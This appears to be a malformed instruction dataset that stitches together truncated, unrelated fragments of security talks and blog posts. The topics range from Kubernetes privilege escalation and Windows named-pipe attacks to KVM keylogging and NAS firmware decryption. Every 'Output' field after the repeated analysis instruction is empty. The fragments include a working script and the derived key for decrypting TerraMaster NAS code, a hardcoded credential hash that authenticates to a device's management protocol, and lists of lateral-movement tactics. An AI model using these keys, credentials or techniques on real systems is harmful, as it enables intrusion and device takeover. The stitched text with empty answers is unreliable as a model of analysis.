①获奖人数：3人
②获奖频率：每月两次
③衡量标准：点赞数
④获奖内容：第一名70元；第二名20元；第三名10元，
并受邀加入「曹将和朋友们精华群」
▊ 奖励4：“月度之星”
①获奖人数：不限
②获奖频率：不限
③衡量标准：综合考虑发帖数量、加精数量和点赞量
④获奖内容：100元奖励，纸质版「职场升级手册1.0」一本，
并受邀加入「曹将和朋友们精华群」
▊ 奖励5：「职场加油站」最佳分享
①获奖人数：4人
②获奖频率：每月两次
③衡量标准：邀请的讲师，被讲师选出的优秀作业3人
④获奖内容：讲师激励200元，优秀作业每人30元
我们还在持续丰富我们的奖励池，包括但不
限于：得到贝、iSlide会员、金数据会员、印
象笔记会员等。
坑二
开始倾囊而出，后续弹尽粮绝
每天写
一鼓作气，再而衰，三而竭
每周更新三次
主题式更新
坑三
情怀主义服务，情绪主义结束
我要搞线下聚会。
我要搞直播。
我要做各种训练营。
我要做各种兴趣群。
我要搭建大家的人脉地图。
……
好累啊
好烦啊
算了
一切围绕目标做
WHAT DO I WANT TO GET!
促活
数量
质量
自下而上
自上而下
引导优质
盘活优质
1. 打卡
2. 日常发⾔
1. 密圈互动
1. 直播课后作业
1. 过往资源合辑
奖励制度
沉淀
目标
行为
子目标
保障
坑四
大锅饭，大家散
两种方案
Plan A
30元，30元，30元
Plan B
70元，20元，10元
每次互动要选出前三名进行奖励
应该选择哪一个
坑五
拉群拉群拉群，好累好累好累
“我花了99元，你应该服务我一生。”
“群死了。”
我们只建精华群
普通星友
优秀星友
荣誉感
归属感
高质量发帖
- 周之星
- 月之星
- 互动TOP3
坑六
差不多就行了，差不多就算了
设计感很重要
坑七
下次注意，下次一定不注意
错误的事，都要变成流程
我是小结
一张图回答：我是谁
KP 关键合作伙伴
KA 关键活动
VP 价值主张
CR 客户关系
CS 目标客群
CH渠道
KR 关键资源
C$ 成本结构
R$ 收益结构
谁可以帮我？
要做什么？
我有什么？
怎样和对方打交道？
我能帮助到谁？
如何宣传自己？
我要付出什么？
我会得到什么？
1.
知识星球
2.
KOL
3.
印象笔记
4.
iSlide
5.
得到
6.
⾦数据
……
1.
拉新
2.
促活
1.
社群...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Music
Clash - I Fought the Law and the Law Won
Life Inside a
Skinner Box:
Confronting our
Future of
Automated Law
Enforcement
Greg Conti
gregory.conti@usma.edu
Lisa Shay
lisa.shay@usma.edu
Woody Hartzog
whartzog@samford.edu
Disclaimer
   The views in this talk are the
authors’ and don’t reflect
the official policy or position
of the United States Military
Academy, Samford
University, the Department
of the Army,the Department
of Defense, or the
United States Government.
Why?
http://www.nationalguard.mil/news/archives/2008/09/images/090808-secuirty_forces-full.jpg
We don't want to live in a police state
Meditation on the Law
http://www.youtube.com/watch?v=1B-Ox0ZmVIU
Driving the Speed Limit on the
Atlanta Perimeter
Three Points
1. Networked technologies have the
potential to automate enforcement of the
law.
2. Reckless and pervasive automation can
have disastrous and unintended
consequences.
3. This audience is in a unique position to
defend society and appropriately confront
law enforcement systems.
Automated Law Enforcement
     Any computer-based system that uses input from
unattended sensors to algorithmically determine that
a crime has been or is about to be committed then
takes some responsive action, such as to warn the
subject or inform the appropriate law enforcement
agency.
    Additionally, these systems will be capable of
automatically imposing some form of punishment.
Our proposed conceptualization of automated law
enforcement is based on a model that is subject to
automation at various points.
The Precursors are in Place
http://www.technologyreview.com/communications/37380/?mod=MagOur
Increased Proliferation of Sensors
Increased Diversity and
Sensitivity of Sensors
State Police Pull Over CT Medical Patient for
Tripping Radioactivity Detector
http://www.ctpost.com/default/article/Radioactive-man-Milford-resident-pulled-over-by-3549631.php#photo-2920568
Compulsory Sensing
US Senate Passe...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

公司介绍：
• 宜信——创立于2006年，从事普惠金融和财富管理事业的金融科技企业。在支付、
网贷、众筹、机器人投顾、智能保险、区块链等前沿领域积极布局，通过业务孵化和
产业投资参与全球金融科技创新。
• 成立十二年以来，始终坚持以理念创新、模式创新和技术创新服务中国高成长性人群、
大众富裕阶层和高净值人士，真正的让金融更美好。
宜人宜己，美好生活
部门介绍：
• 宜信安全部直属于宜信总公司，承接总部及所有子公司的安全需求，为公司的业务安全保驾护航。
※安全部成4年以来，弥补了公司安全基础建设的缺失，发展至今组建了覆盖网络、应用、主机、终端、
数据逐层渗透的前沿安全架构，每一步都凝聚着肩负亿万用户信息和财产安全的责任。
※ 2018年我们在传统安全架构上引入了当前热点科技，将人工智能与大数据技术融合到当前的安全架构
中，将资产、漏洞、风控和管理有机结合到一起，构建用户画像，为实现安全态势感知与威胁情报预警
奠定了基础。
※ 自研的【洞察】漏洞管理平台在GitHub上进行了开源，借此帮助更多金融科技的行业伙伴，完成自动
化风险全生命周期的管理并实现风险的可量化，共建互联网金融行业的安全生态。
•
产品、工具种类繁多，学习和切换成本较高
•
人工使用工具获取资产数据和进行结果处理耗时耗力
•
安全工具功能单一，且无法协同使用
安全产品学习和运维成本高
安全检测网络环境多样化
•
IDC（多IDC ）,办公网，公网……单一扫描节点无法满足复杂的需求
问题和痛点
疲于工具的学习和使用
乐于技能提高，专注风险本身
解决思路
0x01  谈谈分布式
基于任务队列的分布式扫描
1. 难以将扫描功能解耦合
2. 分发后聚合实现比较繁琐
3. 扫描模块调用接口不统一
基于MapReduce模型分布式扫描
1. 易于任务数据分片和结果聚合
2. 调用链使用简单
3. P2P方式进行数据传输，效率高
举个栗子
• 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描->
弱口令扫描
域名1
域名2
域名n
域名
列表
子域名扫描
IP1
IP2
IPm
端口扫描
端口1
端口2
端口o
弱口令扫描
聚合
结果
…
…
…
异步执行
举个栗子
• 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描->
弱口令扫描
域名1
域名2
域名n
域名
列表
子域名扫描
IP1
IP2
IPm
端口扫描
端口1
端口2
端口o
弱口令扫描
聚合
结果
…
…
…
异步执行
0x02  功能可扩展（易于开发）
插件开发
• 开发过程简化
• 将重复的工作抽象出来封装起来，例如安全通信，任务监控，数据传输等
等
• 提供协程，线程，进程任务执行粒度支持
• Python依赖自动检测并安装
• 结果保存为JSON方便后续使用
HelloWorld示例
任务状态
CRON表达式，任务参数，执行次
数，执行花销时间，优先级等信息
Blade扫描器与分布式平台
Agent
Agent
…
Agent
Blade
Agent
Scheduler
调
度
器
集
群
单
机
便于单机开发和测试
Blade扫描器-命令行模式
Blade扫描器-Web模式
插件易于分发
• 复用，一键打成Zip包和Zip包导入
• vs PoC 偏向于功能级别的插件
多种响应方式
• 平台响应
• 邮件响应
• 第三方即时通讯接口响应
平台响应
漏洞名称，描述以及扫描和更新时
间
邮箱响应
任务运行时的异常
第三方即时通信响应
0x03  架构可扩展
分布式架构
Ngnix
Flask APP
Web
MSG Consumer
DB
Flask APP
Flask APP
Flask APP
Scheduler
MQ - Redis
Agent
Agent
…
Agent
负载均衡
授权通信
超时重传
压缩与序列化
JSON/TCP
ZMQ+IOLOOP 异步高并发
通
信
层
调
度
层
Web
层
Gunicorn
前后端分离
JWT认证和鉴权
Python原生实现定时任务
SQLite
集
群
架构扩展
Ngnix
Scheduler
Redis Cluster
Broker
Scheduler
Scheduler
Agent
Agent
Agent
Agent
Agent
Agent
Gunicorn
Load Balancing
Web
Flask
APP
Flask APP
DB
Proxy
Consumer
Gunicorn
Web
Flask
APP
Flask APP
Consumer
Gunicorn
Web
Flask
APP
Flask APP
Consumer
DB Write
DB Read
DB Read
0x04  节点可扩展
节点简单部署
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md
5/23/2022
1 / 8
如何从 Kubernetes 节点权限提升⾄集群管理员权限？
我有幸参加了去年的 KubeCon 并分享议题，议题的其中⼀个攻防案例讲述了如何从⼀个边缘业务的开发者权
限逐步提升⾄ Kubernetes 集群管理员权限；其中最后⼀步的⼿法，是描述关于节点上利⽤ DaemonSet 和
Pod 上的 ServiceAccount token 进⾏提权，那⼀年我在补天上的议题也简述了这个⼿法。在今年的 KubeCon
欧洲上，这样的攻击⼿法被命名为了"蹦床"。快速过完国外的这篇 slide 之后，深感他们研究的细致和⽤⼼，
对⽐我去年的形⾊匆匆熬夜赶稿，他们倾注了更多的时间和资源，完成了我的很多遗憾和不⽢；也让我重拾
了这块研究的很多记忆。 诶，很多TIPS捂着捂着就捂坏了，再熬夜通宵写完这篇稿⼦吧。
我把历史上这块相关的分享都汇总到了 https://github.com/neargle/my-re0-k8s-security , ⽤于知识整理、勘
误和迭代，⽤来避免各平台不⽅便修改内容的问题。
Kubernetes集群下的横向移动
本质上，今天要讲的技巧和⼿法就是攻防中经典环节：横向移动；只不过在 Kubernetes 节点中的横向移动有
⼀些新的技巧和⼿法，更加通⽤、危害也更⼤。
图引⽤⾃： https://ithelp.ithome.com.tw/articles/10262662
本⽂涉及的横向移动⼿法⼀般发⽣于 Kubernetes 的节点上，即红队已经获取了 Kubernetes 集群的⼀台服务
器权限，并以当前的服务器为起点横向移动控制更多的服务器，从⽽通往靶标；这⾥最直接的⽅法就是找机
会把⾃⼰的权限从节点权限提升到集群管理员（cluster admin）权限，拥有控制 Kubernetes 集群任意资源的
能⼒。
当然，除了直接提升到 Cluster admin，我们也经历过⽐较曲折需要⼀步步提权的渗透过程；例如：
从节点A控制节点B上的Pod和容器，再逐步提升⾄ Cluster admin；
从节点A控制节点B整个服务器，再逐步提升⾄ Cluster admin；
node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md
5/23/2022
2 / 8
把当前节点的POD通过 nodeSelector lable 等配置迁移到其他节点，继续渗透该节点，再逐步提升⾄
Cluster admin；
从节点A获取控制 Service、Ingress 等资源的权限，拥有管控东⻄向或南北向流量的能⼒，然后利⽤
Ingress-nginx CVE-2021-25742 的漏洞提升到 Cluster admin；
修改 ServiceAccount 的权限绑定、查看更多Secret秘钥、甚⾄集群内的中间⼈攻击（如利⽤ CVE-
2020-8554 漏洞）等等
但是都会经常和 ServiceAccount 的利⽤⼿法打交道，也就是 Palo Alto Networks 研究员所说的 “蹦床”
(Trampoline) ⼿法。
可能"蹦床"⼿法并⽆必要
不过其实⼤部分情况下，红队⽆需了解 ServiceAccount 也能完成横向移动⽬标。现在的集群管理员有很多坏
⽑病，⽐如有些集群管理员会在每个节点的 ~/.kube/config 或其他⽬录放置集群管理员的 kubeconfig ⽂件⽅
便运维；只要 find ⼀下，我们就能获取 Kubernetes 的集群管理员权限。
同时，如果集群管理员不遵守节点上的运维规范，传统的横向移动⼿段也依然适⽤，包括但不限于：
服务器上监听的端⼝存在RCE漏洞
节点上放置了可以登录其他服务器的 SSH 私钥
获取 SSH 密码，如 本地信息收集、strace、sudo钓⻥等
节点 Agent 的漏洞挖掘
⽤漏洞攻击⾃动化运维管控系统、跳板机、堡垒机、密码库、发布平台等
当然，Kubernetes集群对于攻防来说，最⼤的变化之⼀就是：把业务和应⽤的可执⾏能⼒从服务器上限制到
⼀个个 POD 中，业务代码和业务运维原则上不会拥有控制节点的能⼒，也⽆法影响到节点服务器。所以，如
果是标准且原⽣的线上集群，集群管理员是不会登录到各个节点上进⾏运维的，也不会留下很多痕迹和攻击
⼊⼝。
DaemonSet 和 ServiceAccount
这个⼿法的核⼼需要理解 DaemonSet 和 ServiceAccount 的设计，其中 DaemonSet 经常被集群管理员⽤来
运维和管理节点，也得到了很多云原⽣安全 Agent 的...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Time Line and Nodal Analysis of PLA IW
Development
Ming Zhou
iDefense Security Intelligence Services
19 February , 2009
2
Agenda
+ What  Have Western Seen?
+ iDefense Research Methodology
+ PLA IW Timeline
+ Deduction and Facts
+ My One Step Leap
Time Line
3
What Western Have Seen
+ Titan Rain
+ Western governments accusation
+ Sandia National Laboratories
+ Congress Offices
+ DoD Contractors
+ Pentagon
+ Navy
+ NASA
+ Indian Government
4
By Default
+ PLA!
+ PLA?
+ PLA {x,y,z…}
+ State Sponsor!
+ State Sponsor?
+ State Sponsor {a,b,c…}
+ Gaps...
5
Can He Fit  the Profile?
6
Questions before starting
+ Under  order?
+ Just for Fun?
+ A Soldier  with uniform
+ A Soldier  without uniform
+ Several Soldiers with uniform
+ Several Soldiers without uniform
+ PATRIOTISM , PROPAGANDA
ACQUIESCENCE
7
Asymmetric war -Card game
8
River Rock to New York City
9
Spot of Cheetah
10
Methodology
+ Micro to Macro, Macro to Micro,
+ Methodology {Identify, Verify, Validate, Organize}
+ Consistency
+ Continuity
+ Tangible Entities
+ Undeniable published news
+ Cross references
+AND
11
Rules
+ Time
+ Location
+ Unit Code
+ Leader’s Name
+ Order Number
+ Designated Function
+ Machine Learning { x, y, z…}
+OR
12
Hierarchy
13
Sub Sets
+ CMC
▪
General Staff Department (GSD)
▪
General Political (GPD) Department
▪
General Logistics Department (GLD)
▪
General Armament Department (GAD)
+ The GSD is responsible for organizing, leading, and commanding
military actions.  It is made up of departments for war operations,
information, communication, military training, army affairs,
mobilization, armament, security, mapping and surveying, foreign
affairs, as well as the affairs of the various armed services and
arms.
14
PLA Force Structure
+ 7 regions (NE, NW, Beijing, E, Nanjing, SE, SW)
+ Air force
+ Navy
+ 2nd Artillery
+ Ground Force
▪
Active 500,000
▪
Armed Police Force 1,500,000
▪
Militia  1,000,000
15
Recursively Break down
+ Chinese People’s Armed Police Forces (APF) an...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Satellite's Gone...
Works in progress
Major Malfunction
aka
Adam Laurie
adam@algroup.co.uk
http://rfidiot.org
Who Am I?
● CoPublisher APACHESSL
●  DEFCON 'goon'
● Open Source developer / researcher
– Bluetooth
– RFID
– Full Disclosure / White Hat!
● Freelance research / training / lecturing
Feed Hunting
● Look for 'interesting' satellite feeds
– Scan all frequencies
– Scan all satellites
– Report on mailing lists / forums
Poking in the dark
Poking in the dark
Poking in the dark
Poking in the dark
There must be a better way!
● Visualisation is your friend
– Human Brain likes images
● Recognise food
● Recognise danger
● Recognise friends
There must be a better way!
● Visualisation is your friend
– Human Brain likes images
● Recognise food
● Recognise danger
● Recognise friends
● Watch pr0n!!
Visual Representations
Visual Representations
Visual Representations
Time travel – day 1
Time travel – day 2
That was then...
● Proprietary control systems
– Undocumented
● Reluctant manufacturers
– Special hardware / interface converters
● Motor Control
● Signal Status
● to RS232
This is now...
● Open standards
– DVB Cards
– Embedded Linux Receivers
● Dreambox
– Tuxbox based
– GPL source code
– Cross compilers
This is now...
● Web Interface
– Select programming
– Steer dish
– Examine feed properties
Web Interface
Stream Info
Stream Info
Stream Info
● dvbsnoop  DVB and MPEG stream analyzer
– “WireShark for DVB”
– Access to raw data from DVB card
– Decode known PIDs
 http://dvbsnoop.sourceforge.net
Stream Info
Stream Info
Stream Info
Stream Info
Stream Info
Stream Info
Stream Info
Stream Info
Stream Info
Taking over the Dreambox
● Avoid programming
– Analyse config files
– Tools to tweak and update
– Use existing Web Interface URLS
– Use remote tools via IP
● ssh / scp
● dvbsnoop
● tun/tap
Taking over the Dreambox
Taking over the Dreambox
dreaMMap
● python (yay!) script
– Grab URL
– Read status from returned webpage
– Create 3D model
This is now...
This is now...
3D model capabi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

 0xcsandker
 csandker
 RSS Feed
//Posts
//History of Windows
//Archive
//Tags & Search
//ME
 Switch Theme
Offensive Windows IPC Internals 1:
Named Pipes
10 Jan 2021 (Last Updated: 7 1⽉ 2022)
>> Introduction
>> Named Pipe Messaging
>> Data Transfer Modes
>> Overlapping Pipe I/O, Blocking mode & In-/Out Buffers
>> Named Pipe Security
>> Impersonation
>> Impersonating a Named Pipe Client
>> Attack Surface
>> Client Impersonation
>> Attack scenario
>> Prerequisites
>> Misleading Documentation
Contents:
>> Implementation
>> Instance Creation Race Condition
>> Attack scenario
>> Prerequisites
>> Implementation
>> Instance Creation Special Flavors
>> Unanswered Pipe Connections
>> Killing Pipe Servers
>> PeekNamedPipe
>> Prerequisites
>> Implementation
>> References
>> The Series: Part 2
This post marks the start of a series of posts about the internals and interesting bits
of various Windows based Inter-Process-Communication (IPC) technology
components. Initially this series will cover the following topics:
>> Named Pipes
>> LPC
>> ALPC
>> RPC
A few IPC technology components are therefore left out, but I might append this
series sometime and include for example some of these:
>> Window Messages
>> DDE (which is based on Window Messages)
>> Windows Sockets
>> Mail Slots
Alright so let’s get down to it with Named Pipes…
Although the name might sound a bit odd pipes are a very basic and simple
technology to enable communication and share data between two processes, where
the term pipe simply describes a section of shared memory used by these two
processes.
To term this correctly right from the beginning, the IPC technology we’re speaking
about is called ‘pipes’ and there are two types of pipes:
>> Named Pipes
>> Anonymous Pipes
Most of the time when speaking about pipes you’re likely referring to Named Pipes
as these offer the full feature set, where anonymous pipes are mostly used for
child-parent communications. This also implies: Pipe communication can be
Introductio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Key-Logger, Video, Mouse
How to turn your KVM into a
raging key-logging monster
MEETTHETEAM
Yaniv Balmas
“This should theoretically work”
Security Researcher
Lior Oppenheim
“The mad scientist”
Check Point Software
Technologies
Check Point Software
Technologies
Security Researcher
TOOMANYCOMPUTERS
• Computers
• More computers
• A LOT OF COMPUTERS
WHATISKVM?
• Keyboard, Video, Mouse
• KVM Connects the same Keyboard, Video and
Mouse to one or more computers.
KVMEVOLUTION
1981
`A-B Switch`
2002
Desktop KVM
2015
Enterprise KVM
WHEREARETHEY?
• On top of your server racks.
• On your desktop.
• In your security centres.
KVMS ARE
EVERYWHERE!!
Introducing Gen-KVM
ITRUNSCODE
• On screen conﬁguration display.
• Conﬁgurable hot-keys.
• Control device functionality through keyboard.
Exploitable?
+
+
=
First Attempt
(Funny meme here)
SOFTWARE
• Opening the KVM box.
• Manuals, Cables, Warranty and CD…
• CD contains A Firmware Upgrade Utility!
• Can the ﬁrmware be extracted from the upgrade
utility?!
• Since x86 is no new territory. we can reverse
engineer this!
MEETTHEBLOB
Low Entropy
No Strings
Undetermined Freq. Analysis
FAIL!
SERIALSNIFF
• Firmware upgrade process is done via a custom
serial connection.
• It is possible to extract the (possibly) decoded
ﬁrmware binary from the serial protocol.
• Its just a matter of analyzing the serial protocol.
PROTOCOLANALYSIS
46 55 a3 00 03 63 40 d7 85 85 32 ea e2 01 6b 85   FU£..c@◊ÖÖ2Í‚.kÖ
32 a6 d9 d6 e5 df 55 a6 d5 22 04 d6 cd 05 d5 96   2¶Ÿ÷ÂﬂU¶’".÷Õ.’ñ
27 85 85 d7 40 a5 d7 32 01 32 e2 85 6b ea 85 d9   'ÖÖ◊@•◊2.2‚ÖkÍÖŸ
df d5 e5 a6 55 d6 a6 04 2d 27 cd 22 d5 d6 96 85   ﬂ’Â¶U÷¶.-'Õ"’÷ñÖ
a5 01 40 85 d7 d7 81                              •.@Ö◊◊Å
46 55 23 00 03 63 00 24                           FU#..c.$
From Device
To Device
Fixed Header
OpCode
Handshake
Data Transfer
46 55 90 00 44 49 b8                              FUê.DI∏
46 55 10 00 43 ** 2d 31 ** ** 34 41 2f 31 ** **   FU..C*-1**4A/1** ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

起因
昨天在微信群看到个链接
搜了下发现是铁威马的NAS，文章没写解密过程，今天闲来无事就分析了下
0x00 简析结构
铁威马的NAS系统的UI使用PHP开发且文件为加密状态，解压打开后发现加载了
php_terra_master.so 文件，丢到 IDA 里发现是魔改的 phpscrew 加密
网上找了几篇解密的文章发现都不成功，怀疑密钥被更改
0X01 找密钥
由于 phpscrew 魔改版会把 md5 加密后的秘钥的前16位写入被加密的文件，所以对历史版本的PHP文
件和新的文件进行对比，对比后发现密钥确实被修改
然后下载了历史版本 4.1.27 和 4.2.28 的版本，发现关键库文件被修改过
用 Bindiff 打开这两个文件发现新版的文件添加了几个函数
进一步分析发现TOS为了兼容老版本将老版本的加密算法移入了 oldyek 函数
新版的算法改为用 yek 函数从 CAONIM 这个对国人亲切且友好的问候的字符串中取特定位组合为密钥
的方式
其中 CAONIM 字符串为硬编码的
It's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secretIt'
s0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secret
简单撸了个 python 算了下密钥
tos_str="It's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3s
ecretIt's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secre
t"
"""
__int64 __fastcall yek(__int64 a1)
{
  __int64 result; // rax
  char v2; // cl
  for ( result = 0LL; result != 32; ++result )
  {
    if ( (result & 1) != 0 )
      v2 = CAONIM[2 * result];
    else
      v2 = CAONIM[result];
    *(_BYTE *)(a1 + result) = v2;
  }
  return result;
}
I''o0aot2eaoyota45eaedot6aoitlae
"""
final=""
得到密钥 I''o0aot2eaoyota45eaedot6aoitlae ，找个在线加密的站加密这个字符串后取前16位发现
确实为新的密钥
for i in range(32):
    if i&1 !=0:
        key_str=tos_str[2*i]
    else:
        key_str=tos_str[i]
    final=final+key_str
    print(final)
0x02 解密
有了密钥后在网上检索了下前人的痕迹，发现老外写过解密脚本
https://gist.github.com/thatsn0tmysite/c20602289d2cdc9ab7484851eefd92ba
替换密钥进行测试解密
随后对整个网站进行解密后就可以分析了
参考链接
1. https://github.com//del-xiong/screw-plus
2. http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%B
B%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/
3. https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/
4. https://gist.github.com/thatsn0tmysite/c20602289d2cdc9ab7484851eefd92ba
5. https://mp.weixin.qq.com/s/RQAbJS9tv7569zOBczqI8g


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

⼀、什么是DoS？
DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击⾏为被称为DoS攻
击，其⽬的是使计算机或⽹络⽆法提供正常的服务。拒绝服务存在于各种⽹络服务
上，这个⽹络服务可以是c、c++实现的，也可以是go、java、php、python等等语
⾔实现。
⼆、Java DoS的现状
在各种开源和闭源的java系统产品中，我们经常能看到有关DoS的缺陷公告，其中
⼤部分都是耗尽CPU类型或者业务卸载类型的DoS。耗尽CPU类型的DoS⼤体上主
要包括“正则回溯耗尽CPU、代码⼤量重复执⾏耗尽CPU、死循环代码耗尽CPU”
等。⽽业务卸载DoS这⼀类型的DoS则和系统业务强耦合，⼀般情况下并不具备通
⽤性。下⾯⽤⼏个简单例⼦对其进⾏简单描述。
正则回溯耗尽CPU
Pattern.matches(controllableVariableRegex,
controllableVariableText)
代码⼤量重复执⾏耗尽CPU
for(int i = 0; i < controllableVariable; i++) {
    //do something，e.g. consume cpu
}
死循环耗尽CPU
while(controllableBoolVariable) {
    //do something，e.g. consume cpu
}
业务卸载DoS（当任意⽤户可访问到uninstall⽅法的情况下，业务就可能会被恶
意卸载，导致正常⽤户的服务被拒绝）
private final Set<String> availables = new HashSet();
public void service(String type, String name) {
    if (availables.contains(type)) {
        //do service
    } else {
        //reject service
    }
}
public void uninstall(String type) {
    availables.remove(type)
}
我曾经在挖掘XStream反序列化利⽤链的时候，也找到过可以发起“正则回溯耗尽
CPU、死循环耗尽CPU”类型DoS攻击的利⽤链，并且最终获得了XStream的多个
CVE编号标记和署名。
java.io.ByteArrayInputStream（死循环耗尽CPU） https://x-
stream.github.io/CVE-2021-21341.html
java.util.Scanner（正则回溯耗尽CPU） https://x-stream.github.io/CVE-2021-
21348.html
难道Java系统中，只存在这些类型的DoS吗？我不认为是这样的，我认为Java系统
中，必然存在着⼤量其他类型的DoS缺陷，只是我们还没发现。当我在某⼀天审计
⼀个Java系统时，灵光⼀闪，突然发现了⼀个和这些DoS类型都不⼀样的缺陷，并
且，在通过对其他⼤量的Java系统审计时，它普遍存在，我知道了这是⼀个具有普
遍性存在的缺陷 - Memory DoS
三、Java异常机制
在c、c++等语⾔实现的⽹络服务中，可能存在空指针DoS、CPU耗尽DoS等等各种
各样类型的DoS，为什么在Java中，DoS的类型却少得可怜？这⼜不得不说起Java
中的异常机制了。
Java异常在JRE源码实现中，主要分为了java.lang.Exception和java.lang.Error，它
们都有⼀个共同的实现java.lang.Throwable。经常写Java代码的程序员，可能最不
喜欢就是遇到这样的麻烦了。
（关于异常的描述，简单参考了⼀下runoob）
异常是程序中的⼀些错误，但并不是所有的错误都是异常，并且错误有时候是可以
避免的。
⽐如说，你的代码少了⼀个分号，那么运⾏出来结果是提示是错误
java.lang.Error；如果你⽤System.out.println(11/0)，那么你是因为你⽤0做了除
数，会抛出 java.lang.ArithmeticException 的异常。
异常发⽣的原因有很多，通常包含以下⼏⼤类：
⽤户输⼊了⾮法数据。
要打开的⽂件不存在。
⽹络通信时连接中断，或者JVM内存溢出。
这些异常有的是因为⽤户错误引起，有的是程序错误引起的，还有其它⼀些是因为
物理错误引起的。- 要理解Java异常处理是如何⼯作的，你需要掌握以下三种类型
的异常：
检查性异常：最具代表的检查性异常是⽤户错误或问题引起的异常，这是程序
员⽆法预⻅的。例如要打开⼀个不存在⽂件时...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

从 后 门 到 漏 洞 — — 智 能 设 备 私 有 协 议 中 的 安 全 问 题
魏凡 绿盟科技 格物实验室 安全研究员
0 1
概述
0 2
0 3
0 4
私有协议逆向分析的几个关键点
某私有协议漏洞挖掘之旅
总结与建议
目录
0 1
概述
0 2
0 3
0 4
私有协议逆向分析的几个关键点
某私有协议漏洞挖掘之旅
总结与建议
目录
智能设备中的私有协议
私有协议一般来说指未文档化的协议，格式未知，一般具有以下特点：
⚫ 从功能上来讲，一般用于运维管理/服务发现等功能
⚫ 一般监听于TCP/UDP的大端口
⚫ 多数作为服务端，部分可以在厂商官网找到协议的客户端
私有协议的格式未知，所以逆向分析较难，因此公开的漏洞较少，但一出现安全问题，一般
影响都较为严重。
私有协议的安全问题
0 1
概述
0 2
0 3
0 4
私有协议逆向分析的几个关键点
某私有协议漏洞挖掘之旅
总结
目录
header
魔数
版本号
操作码
长度域
校验和
…
body
长度域
数据部分
…
可能存在header+body的嵌套
私有协议的一般格式
协议“入口点”（网络通信函数）：
recv/send，recvfrom/sendto, recvmsg/sendmsg
协议分析——“入口点”
还有一些容易忽略的地方：
⚫ 有些采用ssl连接，ssl_read/ssl_write
⚫ recv也可用于接收udp的数据包，recvfrom也可用于接收tcp数据包
⚫ 有时候通信函数在应用的调用库中
调试与调试权限获取
获取调试权限的一般思路：
⚫ 利用设备自带的TELNET/SSH功能
⚫ 利用设备硬件调试接口
⚫ 修改设备固件增加调试后门
⚫ 利用设备的已知漏洞
⚫ 利用设备的未知漏洞
准备静态编译的小工具，比较常用的有
busybox, gdbserver和tcpdump
“拿到设备的调试权限，整个漏洞挖掘工作就成功了一半”
——来自某不知名研究员
0 1
概述
0 2
0 3
0 4
私有协议逆向分析的几个关键点
某私有协议漏洞挖掘之旅
总结与建议
目录
本议题所提到的漏洞均已送报厂商并已修复
一个偶然的机会，我们拿到了一个某厂商生产的智能设备，其某个TCP端口使用了一个私
有协议，该协议未文档化，官网也未提供任何管理客户端。
⚫ CyaSSL_read
⚫ 单向认证
某厂商智能设备私有协议分析
⚫ 找到协议“入口点”
⚫ 跟踪数据流向
⚫ 逆向分析
常规漏洞挖掘思路
主观考虑智能设备的常见协议：UPNP协议——接口的命令注入
MQTT协议——未授权访问
非常规的私有协议漏洞挖掘思路
协议“脆弱点”——容易出现漏洞的地方
非常规思路：以发现漏洞为导向，暂时不考虑格式，先了解其功能，然后对其“脆弱点”进
行重点突破。
协议提供的功能
reboot
restorefactory
协议认证逻辑
取某个全局变量作为初始字符串，将该字符串进过三次处理，最后和用户传入的一个串进行比较。
第一次处理，和两个特殊字符
串进行移位混淆；后续两次处理都
是标准md5运算。
通过md5算法中的4个链接变量来识别
协议认证逻辑分析
假设作为初始字符串的全局变量为“admin”，将利用如下算法进行处理：
（1）取“admin”字符串，和两个固定字符串一起参与移位混淆操作，得到新字符串；
（2）将第一次变换得到的新字符串进行标准md5运算，得到hash值
“\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3”；
（3）将第二次得到的hash值再次进行标准md5运算，得到hash值
“\x43\x44\x26\x76\xc7\x4a\xe5\x9f\x21\x9c\x2d\x87\xfd\x6b\xad\x52”
将最后得到的hash值与用户传入进行比较，若相等则认证成功。
在调用认证函数之前，有个函数将会给该全局变量赋值。
是有趣的是，这里将固定字符串“admin”拷贝到全局变量处。
初始字符串的赋值
运维“后门”
传入固定字符串“admin”经过三次变换后的凭证
“\x43\x44\x26\x76\xc7\x4a\xe5\x9f\x21\x9c\x2d\x87\xfd\x6b\xad\x52”
即可完成认证过程，控制设备重启/恢复出厂设置。
用户：我忘了设备的管理密码了，怎么办？
厂商：IP告诉我一下，我给你远程重置一下。
用户：666啊！
协议的专利
功能：
⚫ 修改配置
⚫ 重启
⚫ 恢复出厂设置
⚫ 固件更新
专利所有权厂商的第一类设备
从配置文件中读取web管理员密码作为原始字符串。
初始字符串的获取
md5_digest(output, input, len)
运算长度len不能...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bypass KB2871997
0x01 KB2871997
1
 2014513
2
2014  7  8
 (CredSSP)
2973351 Microsoft   2919355  Windows
2975625 Microsoft  2919355  Windows
2014  9  9
2982378 Microsoft :  Windows 7  Windows Server 2008 R2
2014  10  14
2984972  Windows 7  Windows Server 2008 R2
2984976  2592687 8.0  Windows 7
Windows Server 2008 R2   2984976  2984972
2984981  2830477 8.1  Windows 7
Windows Server 2008 R2   2984981  2984972
2973501  Windows 8Windows Server 2012  Windows RT
